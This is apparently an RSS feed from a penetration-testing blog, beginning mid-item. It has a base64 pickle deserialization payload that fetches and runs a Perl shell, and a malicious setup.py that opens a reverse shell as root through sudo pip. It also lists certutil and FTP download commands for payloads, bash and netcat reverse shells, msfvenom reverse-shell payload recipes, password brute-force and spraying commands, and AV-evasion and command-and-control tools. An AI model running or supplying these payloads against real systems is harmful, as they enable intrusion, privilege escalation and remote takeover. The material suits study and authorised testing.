POST /newpost HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml&#43;xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 144 Y3Bvc2l4CnBvcGVuCnAxCihTJ3dnZXQgMTAuMTAuMTQuMTQvc2hlbGwucGwgLVAgL3RtcC87Y2htb2QgK3ggL3RtcC9zaGVsbC5wbDtwZXJsIC90bXAvc2hlbGwucGwnCnAyCnRScDMKLg== Too easy!
$ nc -lnvp 443 listening on [any] 443 ... connect to [10.10.10.10] from (UNKNOWN) [10.10.10.10] 52904 /bin/sh: 0: can&amp;#39;t access tty; job control turned off $ id uid=1002(alice) gid=1002(alice) groups=1002(alice),4(adm),27(sudo)]]></content:encoded>
      </item>
    
      <item>
        <title>sudo pip install privesc</title>
        <link>https://root4loot.com/post/pip-install-privilege-escalation/</link>
        <pubDate>Fri, 15 Mar 2019 00:00:00 +0100</pubDate>
        <dc:creator>[root4loot]</dc:creator>
        <guid>https://root4loot.com/post/pip-install-privilege-escalation/</guid>
        <description>If you happen to have a user shell on a system and you see that user has sudo rights to pip install, then escalation becomes super easy.
alice@jada:~$ sudo -l [sudo] password for alice: Matching Defaults entries for alice on jada: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User alice may run the following commands on jada: (root) /usr/bin/pip install * In that case, what you can do is create a malicious setup.py on target system:</description>
        <category domain="https://root4loot.com/categories/security">Security</category>
        <content:encoded><![CDATA[If you happen to have a user shell on a system and you see that user has sudo rights to pip install, then escalation becomes super easy.
alice@jada:~$ sudo -l [sudo] password for alice: Matching Defaults entries for alice on jada: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User alice may run the following commands on jada: (root) /usr/bin/pip install * In that case, what you can do is create a malicious setup.py on target system:
from setuptools import setup from setuptools.command.install import install import base64 import os class CustomInstall(install): def run(self): install.run(self) RHOST = &amp;#39;10.0.0.2&amp;#39; # change this reverse_shell = &amp;#39;python -c &amp;#34;import os; import pty; import socket; lhost = \&amp;#39;%s\&amp;#39;; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\&amp;#39;HISTFILE\&amp;#39;, \&amp;#39;/dev/null\&amp;#39;); pty.spawn(\&amp;#39;/bin/bash\&amp;#39;); s.close();&amp;#34;&amp;#39; % RHOST encoded = base64.b64encode(reverse_shell) os.system(&amp;#39;echo %s|base64 -d|bash&amp;#39; % encoded) setup(name=&amp;#39;FakePip&amp;#39;, version=&amp;#39;0.0.1&amp;#39;, description=&amp;#39;This will exploit a sudoer able to /usr/bin/pip install *&amp;#39;, url=&amp;#39;https://github.com/0x00-0x00/fakepip&amp;#39;, author=&amp;#39;zc00l&amp;#39;, author_email=&amp;#39;andre.marques@esecurity.com.br&amp;#39;, license=&amp;#39;MIT&amp;#39;, zip_safe=False, cmdclass={&amp;#39;install&amp;#39;: CustomInstall}) And once that is in place, run the following sudo to install as root:
alice@jada:~$ sudo -H /usr/bin/pip install . --upgrade --force-reinstall Remember to adjust path to pip, lhost and lport accordingly. With a listener in place, you should get a shell:
root@4loot:~# nc -lvp 443 listening on [any] 443 ... connect to [10.10.10.10] from example.com [10.10.10.10] 36754 alice@jada:/tmp/pip-1qpiOl-build# id id uid=0(root) gid=0(root) groups=0(root)]]></content:encoded>
      </item>
    
      <item>
        <title>AV Evasion</title>
        <link>https://root4loot.com/pentools/av-evasion/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/av-evasion/</guid>
        <description>Veil
Python script designed to generate metasploit payloads that bypass common anti-virus solutions.
Usage: python Veil-Evasion.py  peCloak
Python script that takes an automated approach to AV evasion.
Usage: peCloak.py [[options]] [path_to_pe_file] Example: python peCloak.py plink.exe .. New file saved [plink_1540964122_cloaked.exe]  OWASP ZSC
Open source software in Python language which lets you generate customized shellcodes and convert scripts to an obfuscated script.
Usage: ./zsc zsc&amp;gt; help [&#43;] shellcode generate shellcode [&#43;] shellcode&amp;gt;generate	to generate shellcode [&#43;] shellcode&amp;gt;search	search for shellcode in shellstorm [&#43;] shellcode&amp;gt;download	download shellcodes from shellstorm [&#43;] shellcode&amp;gt;shell_storm_list	list all shellcodes in shellstorm [&#43;] obfuscate generate obfuscate code [&#43;] back Go back one step [&#43;] clear clears the screen [&#43;] help show help menu [&#43;] update check for update [&#43;] about about owasp zsc [&#43;] restart restart the software [&#43;] version software version [&#43;] exit/quit to exit the software [&#43;] # insert comment [&#43;] zsc -h, --help	basic interface help  </description>
        <content:encoded><![CDATA[Veil
Python script designed to generate metasploit payloads that bypass common anti-virus solutions.
Usage: python Veil-Evasion.py  peCloak
Python script that takes an automated approach to AV evasion.
Usage: peCloak.py [[options]] [path_to_pe_file] Example: python peCloak.py plink.exe .. New file saved [plink_1540964122_cloaked.exe]  OWASP ZSC
Open source software in Python language which lets you generate customized shellcodes and convert scripts to an obfuscated script.
Usage: ./zsc zsc&amp;gt; help [&#43;] shellcode generate shellcode [&#43;] shellcode&amp;gt;generate	to generate shellcode [&#43;] shellcode&amp;gt;search	search for shellcode in shellstorm [&#43;] shellcode&amp;gt;download	download shellcodes from shellstorm [&#43;] shellcode&amp;gt;shell_storm_list	list all shellcodes in shellstorm [&#43;] obfuscate generate obfuscate code [&#43;] back Go back one step [&#43;] clear clears the screen [&#43;] help show help menu [&#43;] update check for update [&#43;] about about owasp zsc [&#43;] restart restart the software [&#43;] version software version [&#43;] exit/quit to exit the software [&#43;] # insert comment [&#43;] zsc -h, --help	basic interface help  ]]></content:encoded>
      </item>
    
      <item>
        <title>Active</title>
        <link>https://root4loot.com/pentools/information-gathering/active/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/information-gathering/active/</guid>
        <description>AQUATONE
Aquatone is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface.
Example Usage: cat targets.txt | aquatone cat hosts.txt | aquatone -ports 80,443,3000,3001 cat hosts.txt | aquatone -ports large  Discover Scripts
Custom bash scripts used to automate various pentesting tasks.
Usage: See https://github.com/leebaird/discover  Eyewitness
EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible.</description>
        <content:encoded><![CDATA[AQUATONE
Aquatone is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface.
Example Usage: cat targets.txt | aquatone cat hosts.txt | aquatone -ports 80,443,3000,3001 cat hosts.txt | aquatone -ports large  Discover Scripts
Custom bash scripts used to automate various pentesting tasks.
Usage: See https://github.com/leebaird/discover  Eyewitness
EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible.
Usage: ./EyeWitness.py -f filename --timeout optionaltimeout --open (Optional) Examples: ./EyeWitness -f urls.txt --web ./EyeWitness -x urls.xml --timeout 8 --headless ./EyeWitness -f rdp.txt --rdp  HTTPScreenshot
A tool for grabbing screenshots and HTML of large number of websites.
Usage: ./httpscreenshot.py -i \&amp;lt;gnmapFile\&amp;gt; -p -w 40 -a -vH  RegonDog
Reconnaissance Swiss Army Knife.
Features include Censys lookup, NS lookup, Subdomain lookup, Reverse IP lookup, Port scan, CMS detection, Honeypot detection.
Usage: python ./dog.py  MASSCAN
TCP port scanner, spews SYN packets asynchronously. Capable of scanning entire internet in a few minutes.
Usage: masscan -p80,8000-8100 10.0.0.0/8 Example: masscan -vvv -iL hosts.txt -p0-65535 --rate 1000 -oL mass.scan Banner checking: masscan 10.0.0.0/8 -p80 --banners --source-ip 192.168.1.200 To see the complete list of options, use the --echo feature: masscan -p80,8000-8100 10.0.0.0/8 --echo &amp;gt; xxx.conf masscan -c xxx.conf --rate 1000  ]]></content:encoded>
      </item>
    
      <item>
        <title>Brute Force</title>
        <link>https://root4loot.com/pentools/brute-force/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/brute-force/</guid>
        <description>Ncrack
High-speed network authentication cracking tool.
Examples: SSH: ncrack -u testuser -P wordlist.txt &amp;lt;host&amp;gt; -p 22 RDP: ncrack -u testuser -P wordlist.txt &amp;lt;host&amp;gt; -p 3389 FTP: ncrack -u testuser -P wordlist.txt &amp;lt;host&amp;gt; -p 21  Medusa
Login brute-forcer tool designed to be speedy, parallel and modular.
It supports many protocols: AFP, CVS, FTP, HTTP, IMAP, rlogin, SSH, Subversion, and VNC to name a few.
Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT] Examples: SSH: medusa -u testuser -P wordlist.</description>
        <content:encoded><![CDATA[Ncrack
High-speed network authentication cracking tool.
Examples: SSH: ncrack -u testuser -P wordlist.txt &amp;lt;host&amp;gt; -p 22 RDP: ncrack -u testuser -P wordlist.txt &amp;lt;host&amp;gt; -p 3389 FTP: ncrack -u testuser -P wordlist.txt &amp;lt;host&amp;gt; -p 21  Medusa
Login brute-forcer tool designed to be speedy, parallel and modular.
It supports many protocols: AFP, CVS, FTP, HTTP, IMAP, rlogin, SSH, Subversion, and VNC to name a few.
Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT] Examples: SSH: medusa -u testuser -P wordlist.txt -h &amp;lt;host&amp;gt; -M ssh FTP: ncrack -u testuser -P wordlist.txt -T 5 &amp;lt;host&amp;gt; -M ftp RDP (pass-the-hash): medusa -M rdp -m PASS:HASH -h &amp;lt;host&amp;gt; -u someuser -p &amp;lt;NTLM_hash&amp;gt;  Spray
Password Spraying tool for Active Directory Credentials. Supports SMB, OWA, Lync, Cisco Web VPN.
 Usage: SMB: spray.sh -smb &amp;lt;targetIP&amp;gt; &amp;lt;usernameList&amp;gt; &amp;lt;passwordList&amp;gt; &amp;lt;AttemptsPerLockoutPeriod&amp;gt; &amp;lt;LockoutPeriodInMinutes&amp;gt; &amp;lt;DOMAIN&amp;gt; OWA: spray.sh -owa &amp;lt;targetIP&amp;gt; &amp;lt;usernameList&amp;gt; &amp;lt;passwordList&amp;gt; &amp;lt;AttemptsPerLockoutPeriod&amp;gt; &amp;lt;LockoutPeriodInMinutes&amp;gt; &amp;lt;RequestsFile&amp;gt; Lync: spray.sh -lync &amp;lt;targetIP&amp;gt; &amp;lt;usernameList&amp;gt; &amp;lt;passwordList&amp;gt; &amp;lt;AttemptsPerLockoutPeriod&amp;gt; &amp;lt;LockoutPeriodInMinutes&amp;gt; Examples: SMB: spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS OWA: spray.sh -owa 192.168.0.1 users.txt passwords.txt 1 35 post-request.txt Lync: spray.sh -lync https://lyncdiscover.spiderlabs.com/ users.txt passwords.txt 1 35 Note: For POST requests, replace username and password values with &amp;quot;sprayuser&amp;quot; and &amp;quot;spraypassword&amp;quot;.  THC-Hydra
Parallelized login cracker which supports numerous protocols to attack.
It is very fast and flexible, and new modules are easy to add.
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]] Examples: SSH: hydra 10.10.10.1 -l testuser -P wordlist.txt -t 4 ssh RDP: hydra -V -l testuser -P wordlist.txt rdp://10.10.10.1 FTP: hydra 10.10.10.1 -V -l testuser -P wordlist.txt ftp SMB: hydra 10.10.10.1 -V -l testuser -P wordlist.txt smb POST form: hydra -l testuser -p wordlist.txt -e nsr 10.10.10.1 http-post-form &amp;quot;http://10.10.10.1/login.php:username=^USER^&amp;amp;password=^PASS^&amp;amp;submit=Login:&amp;lt;Error message&amp;gt;&amp;quot; -V  Patator
A great multi-purpose brute-forcer, with a modular design and a flexible usage.
Examples: FTP: patator ftp_login host=10.10.0.1 user=someUser password=FILE0 0=wordlist.txt SSH: patator ssh_login host=10.10.0.1 user=someUser password=FILE0 0=wordlist.txt  ]]></content:encoded>
      </item>
    
      <item>
        <title>Certutil</title>
        <link>https://root4loot.com/pentools/file-transfers/windows/certutil/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/file-transfers/windows/certutil/</guid>
        <description>certutil.exe is a Windows CMD utility that comes pre-loaded in Windows as part of the certificate services. It can be used to transfer files from any web server, much like wget, which is very handy.
Example:
 certutil -URLCache -f http://&amp;lt;attacker_ip&amp;gt;/payload.exe C:\temp\payload.exe  </description>
        <content:encoded><![CDATA[certutil.exe is a Windows CMD utility that comes pre-loaded in Windows as part of the certificate services. It can be used to transfer files from any web server, much like wget, which is very handy.
Example:
 certutil -URLCache -f http://&amp;lt;attacker_ip&amp;gt;/payload.exe C:\temp\payload.exe  ]]></content:encoded>
      </item>
    
      <item>
        <title>Command &amp; Control</title>
        <link>https://root4loot.com/pentools/command-control/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/command-control/</guid>
        <description>dnscat2
Tool designed to create an encrypted command-and-control (C&amp;amp;C) channel over the DNS protocol, which is an effective tunnel out of almost every network.
Usage: ./dnscat  DropboxC2C
Post-exploitation agent which uses Dropbox Infrastructure for command and control operations.
Structure: main.py - The &amp;quot;server&amp;quot; part which manages all the agents. agent.py - The &amp;quot;client&amp;quot; part which does what the server tells. 1. Modify the API Key on agent.py and main.py (the api key must be created from the dropbox web interface) 2.</description>
        <content:encoded><![CDATA[dnscat2
Tool designed to create an encrypted command-and-control (C&amp;amp;C) channel over the DNS protocol, which is an effective tunnel out of almost every network.
Usage: ./dnscat  DropboxC2C
Post-exploitation agent which uses Dropbox Infrastructure for command and control operations.
Structure: main.py - The &amp;quot;server&amp;quot; part which manages all the agents. agent.py - The &amp;quot;client&amp;quot; part which does what the server tells. 1. Modify the API Key on agent.py and main.py (the api key must be created from the dropbox web interface) 2. Run setup.bat on a Windows Machine. You will get agent.exe which is the &amp;quot;compiled&amp;quot; agent. 3. Run main.py and run the agent on the compromised server.  gcat
A stealthy Python based backdoor that uses Gmail as a command and control server.
See https://github.com/byt3bl33d3r/gcat  Merlin
Cross-platform post-exploitation HTTP/2 Command &amp;amp; Control server and agent written in golang.
Quick start guide: Server: https://github.com/Ne0nd0g/merlin/wiki/Server-Execution-Quick-Start-Guide Agent: https://github.com/Ne0nd0g/merlin/wiki/Agent-Execution-Quick-Start-Guide  ]]></content:encoded>
      </item>
    
      <item>
        <title>Databases</title>
        <link>https://root4loot.com/pentools/databases/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/databases/</guid>
        <description>NoSQLMap
Open source Python-based automated NoSQL MongoDB exploitation tool.
Usage: python NoSQLMap  SQLmap
Open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
Usage: python sqlmap [options] Examples: python sqlmap.py -u &amp;quot;http://targetsite.com/vuln.php&amp;quot; python sqlmap.py -u &amp;quot;http://targetsite.com/login.aspx&amp;quot; --method POST --data &amp;quot;username=foo&amp;amp;password=bar&amp;amp;submit=login&amp;quot; --dbms=mssql --tables  </description>
        <content:encoded><![CDATA[NoSQLMap
Open source Python-based automated NoSQL MongoDB exploitation tool.
Usage: python NoSQLMap  SQLmap
Open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
Usage: python sqlmap [options] Examples: python sqlmap.py -u &amp;quot;http://targetsite.com/vuln.php&amp;quot; python sqlmap.py -u &amp;quot;http://targetsite.com/login.aspx&amp;quot; --method POST --data &amp;quot;username=foo&amp;amp;password=bar&amp;amp;submit=login&amp;quot; --dbms=mssql --tables  ]]></content:encoded>
      </item>
    
      <item>
        <title>FTP</title>
        <link>https://root4loot.com/pentools/file-transfers/linux/ftp/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/file-transfers/linux/ftp/</guid>
        <description> Start atftpd service:
service vsftpd start  Create FTP script on target as follows.
Make sure lcd path is writable:
echo open &amp;lt;attacker_ip&amp;gt; &amp;gt; ftp.txt echo user anonymous pass &amp;gt;&amp;gt; ftp.txt echo binary &amp;gt;&amp;gt; ftp.txt echo &#39;lcd /tmp/&#39; &amp;gt;&amp;gt; ftp.txt echo get payload.php &amp;gt;&amp;gt; ftp.txt echo bye &amp;gt;&amp;gt; ftp.txt  Execute script to transfer file:
ftp -n &amp;gt;&amp;gt; /tmp/ftp.txt   </description>
        <content:encoded><![CDATA[ Start atftpd service:
service vsftpd start  Create FTP script on target as follows.
Make sure lcd path is writable:
echo open &amp;lt;attacker_ip&amp;gt; &amp;gt; ftp.txt echo user anonymous pass &amp;gt;&amp;gt; ftp.txt echo binary &amp;gt;&amp;gt; ftp.txt echo &#39;lcd /tmp/&#39; &amp;gt;&amp;gt; ftp.txt echo get payload.php &amp;gt;&amp;gt; ftp.txt echo bye &amp;gt;&amp;gt; ftp.txt  Execute script to transfer file:
ftp -n &amp;gt;&amp;gt; /tmp/ftp.txt   ]]></content:encoded>
      </item>
    
      <item>
        <title>FTP</title>
        <link>https://root4loot.com/pentools/file-transfers/windows/ftp/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/file-transfers/windows/ftp/</guid>
        <description> Start FTP server:
python -m pyftpdlib --username=USER --password=PASS -p 21  Create FTP script on target:
echo open &amp;lt;attacker_ip&amp;gt; &amp;gt; ftp.txt echo USER &amp;gt;&amp;gt; ftp.txt echo PASS &amp;gt;&amp;gt; ftp.txt echo binary &amp;gt;&amp;gt; ftp.txt echo get payload.exe &amp;gt;&amp;gt; ftp.txt echo bye &amp;gt;&amp;gt; ftp.txt  Run script to transfer file:
ftp -s:ftp.txt   </description>
        <content:encoded><![CDATA[ Start FTP server:
python -m pyftpdlib --username=USER --password=PASS -p 21  Create FTP script on target:
echo open &amp;lt;attacker_ip&amp;gt; &amp;gt; ftp.txt echo USER &amp;gt;&amp;gt; ftp.txt echo PASS &amp;gt;&amp;gt; ftp.txt echo binary &amp;gt;&amp;gt; ftp.txt echo get payload.exe &amp;gt;&amp;gt; ftp.txt echo bye &amp;gt;&amp;gt; ftp.txt  Run script to transfer file:
ftp -s:ftp.txt   ]]></content:encoded>
      </item>
    
      <item>
        <title>Generic / Kali</title>
        <link>https://root4loot.com/pentools/payloads/generic/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/payloads/generic/</guid>
        <description>Bash reverse shell
bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.10/443 0&amp;gt;&amp;amp;1  Netcat reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2&amp;gt;&amp;amp;1 | nc 10.10.10.10 443 &amp;gt; /tmp/f  Web shells
JSP: /opt/SecLists/Web-Shells/JSP/simple-shell.jsp PHP: /opt/SecLists/Web-Shells/PHP/obfuscated-phpshell.php Wordpress: /opt/SecLists/Web-Shells/WordPress/access.php  Pentestmonkey:
ASP: /usr/share/webshells/asp/cmd-asp-5.1.asp /usr/share/webshells/asp/cmdasp.asp ASPX: /usr/share/webshells/aspx/cmdasp.aspx CFM: /usr/share/webshells/cfm/cfexec.cfm JSP: /usr/share/webshells/jsp/cmdjsp.jsp /usr/share/webshells/jsp/jsp-reverse.jsp PERL: /usr/share/webshells/perl/perlcmd.cgi /usr/share/webshells/perl/perl-reverse-shell.pl PHP: /usr/share/webshells/php/php-backdoor.php /usr/share/webshells/php-reverse-shell.php /usr/share/webshells/simple-backdoor.php  </description>
        <content:encoded><![CDATA[Bash reverse shell
bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.10/443 0&amp;gt;&amp;amp;1  Netcat reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2&amp;gt;&amp;amp;1 | nc 10.10.10.10 443 &amp;gt; /tmp/f  Web shells
JSP: /opt/SecLists/Web-Shells/JSP/simple-shell.jsp PHP: /opt/SecLists/Web-Shells/PHP/obfuscated-phpshell.php Wordpress: /opt/SecLists/Web-Shells/WordPress/access.php  Pentestmonkey:
ASP: /usr/share/webshells/asp/cmd-asp-5.1.asp /usr/share/webshells/asp/cmdasp.asp ASPX: /usr/share/webshells/aspx/cmdasp.aspx CFM: /usr/share/webshells/cfm/cfexec.cfm JSP: /usr/share/webshells/jsp/cmdjsp.jsp /usr/share/webshells/jsp/jsp-reverse.jsp PERL: /usr/share/webshells/perl/perlcmd.cgi /usr/share/webshells/perl/perl-reverse-shell.pl PHP: /usr/share/webshells/php/php-backdoor.php /usr/share/webshells/php-reverse-shell.php /usr/share/webshells/simple-backdoor.php  ]]></content:encoded>
      </item>
    
      <item>
        <title>Linux</title>
        <link>https://root4loot.com/pentools/post-exploitation/linux/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/post-exploitation/linux/</guid>
        <description>LinEnum
Bash script for local linux enumeration &amp;amp; privilege escalation checks.
Usage: ./linenum.sh linux-exploit-suggester
Linux privilege escalation auditing tool.
Usage: ./linux-exploit-suggester.sh  Linux Exploit Suggester
Perl based linux privesc checker. Running without arguments will perform a &amp;lsquo;uname -r&amp;rsquo; to grab the Linux Operating Systems release version, and return a suggestive list of possible exploits. Kernel version can be specified with the -k flag.
Usage: perl ./Linux_Exploit_Suggester.pl  linuxprivchecker
Linux privilege escalation check script.</description>
        <content:encoded><![CDATA[LinEnum
Bash script for local linux enumeration &amp;amp; privilege escalation checks.
Usage: ./linenum.sh linux-exploit-suggester
Linux privilege escalation auditing tool.
Usage: ./linux-exploit-suggester.sh  Linux Exploit Suggester
Perl based linux privesc checker. Running without arguments will perform a &amp;lsquo;uname -r&amp;rsquo; to grab the Linux Operating Systems release version, and return a suggestive list of possible exploits. Kernel version can be specified with the -k flag.
Usage: perl ./Linux_Exploit_Suggester.pl  linuxprivchecker
Linux privilege escalation check script.
Usage: python linuxprivchecker.py  unix-privesc-check
A bash script that runs on Unix systems (tested on Solaris 9, HPUX 11, Various Linuxes, FreeBSD 6.2). It tries to find misconfigurations that could allow local unprivilged users to escalate privileges to other users or to access local apps (e.g. databases).
Usage: ./unix-privesc-check.sh  ]]></content:encoded>
      </item>
    
      <item>
        <title>MacOS</title>
        <link>https://root4loot.com/pentools/post-exploitation/macos/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/post-exploitation/macos/</guid>
        <description>rootOS
macOS Root Helper (Python)
Usage: python root.py  </description>
        <content:encoded><![CDATA[rootOS
macOS Root Helper (Python)
Usage: python root.py  ]]></content:encoded>
      </item>
    
      <item>
        <title>Miscellaneous</title>
        <link>https://root4loot.com/pentools/miscellaneous/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/miscellaneous/</guid>
        <description>httprobe
Take a list of domains and probe for working HTTP and HTTPS servers.
Example usage: cat domains.txt | httprobe | tee alive.txt cat domains.txt | httprobe -p http:8080 -p https:4443 | tee alive.txt  RTFM
RTFM (Red Team Field Manual) is a great and useful book, BUT a bit pointless when you have to transcribe it, so this little program will aim to be the spiritual successor to it.</description>
        <content:encoded><![CDATA[httprobe
Take a list of domains and probe for working HTTP and HTTPS servers.
Example usage: cat domains.txt | httprobe | tee alive.txt cat domains.txt | httprobe -p http:8080 -p https:4443 | tee alive.txt  RTFM
RTFM (Red Team Field Manual) is a great and useful book, BUT a bit pointless when you have to transcribe it, so this little program will aim to be the spiritual successor to it.
Update database: ./rtfm.py -u Search for something: ./rtfm.py -e &#39;Something&#39; Search by date: ./rtfm.py -A yyyy-mm-dd (or now/today) List all tags: ./rtfm.py -Dt -e (search for command): ./rtfm.py -pP -c &#39;sqlmap&#39; -t (search for tag): ./rtfm.py -pP -t xss  rescope
Rescope is a tool geared towards pentesters and bugbounty researchers, that aims to make life easier when defining scopes for Burp Suite and OWASP ZAP.
Example usage: rescope --burp -u bugcrowd.com/bugcrowd -o burpscope.json rescope --zap --name CoolScope -u bugcrowd.com/bugcrowd -o burpscope.context rescope --burp -i scopedefinitions.txt -o burpscope.json --silent  ]]></content:encoded>
      </item>
    
      <item>
        <title>Msfvenom</title>
        <link>https://root4loot.com/pentools/payloads/msfvenom/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/payloads/msfvenom/</guid>
        <description>List payloads:
msfvenom -l payloads   Staged: /shell/reverse_tcp &amp;amp; /meterpreter/reverse_tcp Stageless: /shell_reverse_tcp  The majority of payloads below are unstaged.
Windows
x86 Binary: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread --platform windows -a x86 -e generic/none -f exe -o payload.exe x64 Binary: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread --platform windows -a x64 -e generic/none -f exe -o payload.exe Meterpreter: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe &amp;gt; payload.exe Shellcode(C): msfvenom -p windows/shell_reverse_tcp LHOST=10.</description>
        <content:encoded><![CDATA[List payloads:
msfvenom -l payloads   Staged: /shell/reverse_tcp &amp;amp; /meterpreter/reverse_tcp Stageless: /shell_reverse_tcp  The majority of payloads below are unstaged.
Windows
x86 Binary: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread --platform windows -a x86 -e generic/none -f exe -o payload.exe x64 Binary: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread --platform windows -a x64 -e generic/none -f exe -o payload.exe Meterpreter: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe &amp;gt; payload.exe Shellcode(C): msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f c Shellcode(Python): msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f c -e x86/s hikata_ga_nai -b &amp;quot;\x00&amp;quot; -f python -v shellcode  Linux
x86 Binary: msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf &amp;gt; payload.elf x64 Binary: msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf &amp;gt; payload.elf Bash: msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=443 -f raw &amp;gt; payload.sh Python: msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.10 LPORT=443 -f raw &amp;gt; payload.py Shellcode(C): msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -e x86/shikata_ga_nai -b &#39;\x00&#39; -f c Shellcode(Python): msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -e x86/shikata_ga_nai -b &#39;\x00&#39; -f python -v shellcode Perl: msfvenom -p cmd/unix/reverse_perl LHOST=10.10.10.10 LPORT=443 -f raw &amp;gt; payload.pl  Mac
x86: msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f macho &amp;gt; payload.macho x64: msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f macho &amp;gt; payload.macho  Web based
WAR: msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f war &amp;gt; payload.war JSP: msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f raw &amp;gt; payload.jsp ASP: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f asp &amp;gt; payload.asp PHP: msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f raw &amp;gt; payload.php &amp;amp;&amp;amp; cat payload.php | pbcopy &amp;amp;&amp;amp; echo &#39;&amp;lt;?php &#39; | tr -d &#39;\n&#39; &amp;gt; payload.php &amp;amp;&amp;amp; pbpaste &amp;gt;&amp;gt; payload.php  Handler
msf &amp;gt; use exploit/multi/handler msf exploit(handler) &amp;gt; set ExitOnSession false msf exploit(handler) &amp;gt; set PAYLOAD windows/ARCH/meterpreter/reverse_tcp msf exploit(handler) &amp;gt; set EXITFUNC thread msf exploit(handler) &amp;gt; set LHOST 10.10.10.10 msf exploit(handler) &amp;gt; set LPORT 443 msf exploit(handler) &amp;gt; exploit -j  ]]></content:encoded>
      </item>
    
      <item>
        <title>Multi-Platform</title>
        <link>https://root4loot.com/pentools/post-exploitation/multi-platform/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/post-exploitation/multi-platform/</guid>
        <description>Pupy
Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python
Usage: ./start-compose.sh  </description>
        <content:encoded><![CDATA[Pupy
Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python
Usage: ./start-compose.sh  ]]></content:encoded>
      </item>
    
      <item>
        <title>Network Related</title>
        <link>https://root4loot.com/pentools/network-related/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/network-related/</guid>
        <description>Airgeddon
A multi-use bash script for Linux systems to audit wireless networks.
Usage: sudo bash airgeddon.sh SPARTA
Python GUI application which simplifies network infrastructure penetration testing by aiding the penetration tester in the scanning and enumeration phase.
Usage: ./sparta  SSH
Pivoting with SSH.
